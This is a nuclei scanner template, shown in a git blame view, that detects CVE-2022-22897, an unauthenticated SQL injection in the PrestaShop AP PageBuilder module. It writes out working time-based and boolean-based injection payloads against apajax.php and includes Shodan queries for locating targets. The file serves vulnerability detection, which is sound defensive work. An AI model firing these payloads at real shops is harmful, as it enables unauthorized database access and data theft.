nuclei-templates/http/cves/2022/CVE-2022-22897.yaml

95 lines
3.5 KiB
YAML
Raw Permalink Normal View History

2023-07-13 16:54:13 +00:00
id: CVE-2022-22897
info:
2024-05-16 11:31:52 +00:00
name: PrestaShop AP Pagebuilder <= 2.4.4 - SQL Injection
2023-07-13 16:54:13 +00:00
author: mastercho
2023-08-02 03:53:57 +00:00
severity: critical
2023-07-13 16:54:13 +00:00
description: |
2023-08-02 03:53:57 +00:00
A SQL injection vulnerability in the product_all_one_img and image_product parameters of the ApolloTheme AP PageBuilder component through 2.4.4 for PrestaShop allows unauthenticated attackers to exfiltrate database data.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade PrestaShop Ap Pagebuilder to version 2.4.5 or later to mitigate this vulnerability.
2023-07-13 16:54:13 +00:00
reference:
2023-08-02 03:53:57 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-22897
2023-07-13 16:54:13 +00:00
- https://packetstormsecurity.com/files/cve/CVE-2022-22897
2023-08-02 03:53:57 +00:00
- https://security.friendsofpresta.org/modules/2023/01/05/appagebuilder.html
2023-07-13 16:54:13 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-22897
cwe-id: CWE-89
2023-10-14 11:27:55 +00:00
epss-score: 0.04685
epss-percentile: 0.91818
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:apollotheme:ap_pagebuilder:*:*:*:*:*:prestashop:*:*
2023-07-13 16:54:13 +00:00
metadata:
verified: true
max-request: 4
2023-08-31 11:46:18 +00:00
vendor: apollotheme
product: "ap_pagebuilder"
2023-09-06 11:59:08 +00:00
framework: prestashop
shodan-query:
- "http.component:\"Prestashop\""
- http.component:"prestashop"
2024-01-14 09:21:50 +00:00
tags: cve,cve2022,packetstorm,prestashop,sqli,unauth,apollotheme
2023-07-13 16:54:13 +00:00
http:
- raw:
2024-05-10 09:30:27 +00:00
- |
GET /modules/appagebuilder/config.xml HTTP/1.1
Host: {{Hostname}}
2023-07-13 16:54:13 +00:00
- |
@timeout: 20s
2023-07-13 16:54:13 +00:00
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-08-02 03:53:57 +00:00
Referer: {{RootURL}}
2023-07-13 16:54:13 +00:00
X-Requested-With: XMLHttpRequest
2023-07-13 17:04:28 +00:00
2023-07-13 16:54:13 +00:00
leoajax=1&product_one_img=if(now()=sysdate()%2Csleep(6)%2C0)
2023-08-18 16:06:49 +00:00
- |
@timeout: 20s
2024-05-10 09:30:27 +00:00
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
2023-08-18 16:06:49 +00:00
Host: {{Hostname}}
2024-05-10 09:30:27 +00:00
Content-Type: application/x-www-form-urlencoded
Referer: {{RootURL}}
X-Requested-With: XMLHttpRequest
2023-08-18 16:06:49 +00:00
2024-05-10 09:30:27 +00:00
leoajax=1&product_one_img=-{{rand_int(0000, 9999)}}) OR 6644=6644-- yMwI
- |
@timeout: 20s
2024-05-10 09:30:27 +00:00
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{RootURL}}
X-Requested-With: XMLHttpRequest
leoajax=1&product_one_img=-{{rand_int(0000, 9999)}}) OR 6643=6644-- yMwI
2024-05-16 11:31:52 +00:00
matchers-condition: or
2023-07-13 16:54:13 +00:00
matchers:
- type: dsl
2024-05-10 09:30:27 +00:00
name: time-based
2023-07-13 16:54:13 +00:00
dsl:
2024-05-10 09:30:27 +00:00
- 'duration_2>=6'
- 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")'
2023-08-18 16:06:49 +00:00
condition: and
2024-05-10 09:30:27 +00:00
- type: dsl
name: blind-based
dsl:
- 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")'
- 'contains(body_3, "content") && contains(body_3, "{{Hostname}}")'
- '!contains(body_4, "content") && !contains(body_4, "{{Hostname}}")'
- 'len(body_3) > 200 && len(body_4) <= 22'
2024-05-16 11:31:52 +00:00
condition: and
extractors:
- type: regex
name: version
part: body_1
internal: true
group: 1
regex:
- "<version>\\s*<!\\[CDATA\\[(.*?)\\]\\]>\\s*<\\/version>"
# digest: 490a004630440220404a04d873dd736566bf6f0c9313b4d2a0d7c8e86ecfec5bc6b30d01e096410e0220291616c6bc77a2be23fc7cb703dfc36eeefb0b003aff6a127b0b6ff6eb68bda6:922c64590222798bb761d5b6d8e72950